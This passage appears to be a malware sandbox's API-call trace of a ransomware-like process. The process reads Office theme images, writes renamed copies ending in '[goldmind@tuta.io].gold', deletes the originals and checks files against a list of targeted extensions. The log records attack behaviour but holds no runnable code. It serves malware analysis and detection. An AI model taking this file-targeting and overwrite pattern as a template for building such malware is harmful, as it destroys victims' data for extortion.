lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5060, lpOverlapped=0x0) returned 1 [0041.313] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.313] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.313] SetEndOfFile (hFile=0x19c) returned 1 [0041.313] CloseHandle (hObject=0x19c) returned 1 [0041.313] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.313] SetEndOfFile (hFile=0x1e4) returned 1 [0041.314] CloseHandle (hObject=0x1e4) returned 1 [0041.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.314] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0041.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0041.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0041.314] lstrlenW (lpString=".doc") returned 4 [0041.314] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.314] lstrlenW (lpString=".docx") returned 5 [0041.314] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.314] lstrlenW (lpString=".pdf") returned 4 [0041.314] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.314] lstrlenW (lpString=".xls") returned 4 [0041.314] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.314] lstrlenW (lpString=".xlsx") returned 5 [0041.314] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.314] lstrlenW (lpString=".ppt") returned 4 [0041.314] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0041.314] lstrlenW (lpString=".zip") returned 4 [0041.315] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.315] lstrlenW (lpString=".rar") returned 4 [0041.315] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.315] lstrlenW (lpString=".bz2") returned 4 [0041.315] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.315] lstrlenW (lpString=".7z") returned 3 [0041.315] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0041.315] lstrlenW (lpString=".dbf") returned 4 [0041.315] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0041.315] lstrlenW (lpString=".1cd") returned 4 [0041.315] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0041.315] lstrlenW (lpString=".jpg") returned 4 [0041.315] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0041.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0041.315] lstrlenW (lpString=".doc") returned 4 [0041.315] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.315] lstrlenW (lpString=".docx") returned 5 [0041.315] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.315] lstrlenW (lpString=".pdf") returned 4 [0041.315] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.315] lstrlenW (lpString=".xls") returned 4 [0041.315] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.315] lstrlenW (lpString=".xlsx") returned 5 [0041.315] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.315] lstrlenW (lpString=".ppt") returned 4 [0041.315] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0041.315] lstrlenW (lpString=".zip") returned 4 [0041.315] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.315] lstrlenW (lpString=".rar") returned 4 [0041.315] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.315] lstrlenW (lpString=".bz2") returned 4 [0041.315] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.315] lstrlenW (lpString=".7z") returned 3 [0041.315] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0041.315] lstrlenW (lpString=".dbf") returned 4 [0041.315] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0041.315] lstrlenW (lpString=".1cd") returned 4 [0041.315] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0041.315] lstrlenW (lpString=".jpg") returned 4 [0041.315] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.316] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.316] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.316] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1287) returned 1 [0041.316] CloseHandle (hObject=0x1e4) returned 1 [0041.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0041.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.316] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.316] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.318] GetLastError () returned 0x0 [0041.318] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x507, lpOverlapped=0x0) returned 1 [0041.319] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x510, lpOverlapped=0x0) returned 1 [0041.319] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.319] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.319] SetEndOfFile (hFile=0x19c) returned 1 [0041.319] CloseHandle (hObject=0x19c) returned 1 [0041.320] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.320] SetEndOfFile (hFile=0x1e4) returned 1 [0041.320] CloseHandle (hObject=0x1e4) returned 1 [0041.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.320] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0041.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0041.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0041.321] lstrlenW (lpString=".doc") returned 4 [0041.321] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.321] lstrlenW (lpString=".docx") returned 5 [0041.321] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.321] lstrlenW (lpString=".pdf") returned 4 [0041.321] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.321] lstrlenW (lpString=".xls") returned 4 [0041.321] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.321] lstrlenW (lpString=".xlsx") returned 5 [0041.321] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.321] lstrlenW (lpString=".ppt") returned 4 [0041.321] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0041.321] lstrlenW (lpString=".zip") returned 4 [0041.321] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.321] lstrlenW (lpString=".rar") returned 4 [0041.321] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.321] lstrlenW (lpString=".bz2") returned 4 [0041.321] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.321] lstrlenW (lpString=".7z") returned 3 [0041.321] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0041.321] lstrlenW (lpString=".dbf") returned 4 [0041.321] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0041.321] lstrlenW (lpString=".1cd") returned 4 [0041.321] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0041.321] lstrlenW (lpString=".jpg") returned 4 [0041.321] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0041.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0041.321] lstrlenW (lpString=".doc") returned 4 [0041.321] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.321] lstrlenW (lpString=".docx") returned 5 [0041.321] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.321] lstrlenW (lpString=".pdf") returned 4 [0041.321] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.321] lstrlenW (lpString=".xls") returned 4 [0041.321] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.321] lstrlenW (lpString=".xlsx") returned 5 [0041.321] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.321] lstrlenW (lpString=".ppt") returned 4 [0041.321] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0041.322] lstrlenW (lpString=".zip") returned 4 [0041.322] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.322] lstrlenW (lpString=".rar") returned 4 [0041.322] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.322] lstrlenW (lpString=".bz2") returned 4 [0041.322] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.322] lstrlenW (lpString=".7z") returned 3 [0041.322] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0041.322] lstrlenW (lpString=".dbf") returned 4 [0041.322] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0041.322] lstrlenW (lpString=".1cd") returned 4 [0041.322] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0041.322] lstrlenW (lpString=".jpg") returned 4 [0041.322] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.322] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.322] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.322] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=28595) returned 1 [0041.322] CloseHandle (hObject=0x1e4) returned 1 [0041.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0041.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.322] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.322] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.323] GetLastError () returned 0x0 [0041.323] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0041.324] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0041.325] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.325] WriteFile (in: hFile=0x19c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.326] SetEndOfFile (hFile=0x19c) returned 1 [0041.326] CloseHandle (hObject=0x19c) returned 1 [0041.326] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.326] SetEndOfFile (hFile=0x1e4) returned 1 [0041.327] CloseHandle (hObject=0x1e4) returned 1 [0041.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.327] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0041.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0041.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0041.327] lstrlenW (lpString=".doc") returned 4 [0041.327] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.327] lstrlenW (lpString=".docx") returned 5 [0041.327] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.327] lstrlenW (lpString=".pdf") returned 4 [0041.327] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.327] lstrlenW (lpString=".xls") returned 4 [0041.327] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.327] lstrlenW (lpString=".xlsx") returned 5 [0041.327] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.327] lstrlenW (lpString=".ppt") returned 4 [0041.327] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0041.327] lstrlenW (lpString=".zip") returned 4 [0041.327] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.327] lstrlenW (lpString=".rar") returned 4 [0041.327] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.327] lstrlenW (lpString=".bz2") returned 4 [0041.327] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.327] lstrlenW (lpString=".7z") returned 3 [0041.327] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0041.327] lstrlenW (lpString=".dbf") returned 4 [0041.327] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0041.327] lstrlenW (lpString=".1cd") returned 4 [0041.327] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0041.328] lstrlenW (lpString=".jpg") returned 4 [0041.328] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0041.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0041.328] lstrlenW (lpString=".doc") returned 4 [0041.328] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.328] lstrlenW (lpString=".docx") returned 5 [0041.328] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.328] lstrlenW (lpString=".pdf") returned 4 [0041.328] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.328] lstrlenW (lpString=".xls") returned 4 [0041.328] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.328] lstrlenW (lpString=".xlsx") returned 5 [0041.328] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.328] lstrlenW (lpString=".ppt") returned 4 [0041.328] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0041.328] lstrlenW (lpString=".zip") returned 4 [0041.328] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.328] lstrlenW (lpString=".rar") returned 4 [0041.328] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.328] lstrlenW (lpString=".bz2") returned 4 [0041.328] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.328] lstrlenW (lpString=".7z") returned 3 [0041.328] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0041.328] lstrlenW (lpString=".dbf") returned 4 [0041.328] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0041.328] lstrlenW (lpString=".1cd") returned 4 [0041.328] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0041.328] lstrlenW (lpString=".jpg") returned 4 [0041.328] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.328] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.328] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.328] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=3957) returned 1 [0041.328] CloseHandle (hObject=0x1e4) returned 1 [0041.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0041.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0041.329] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.329] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0041.330] GetLastError () returned 0x0 [0041.330] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xf75, lpOverlapped=0x0) 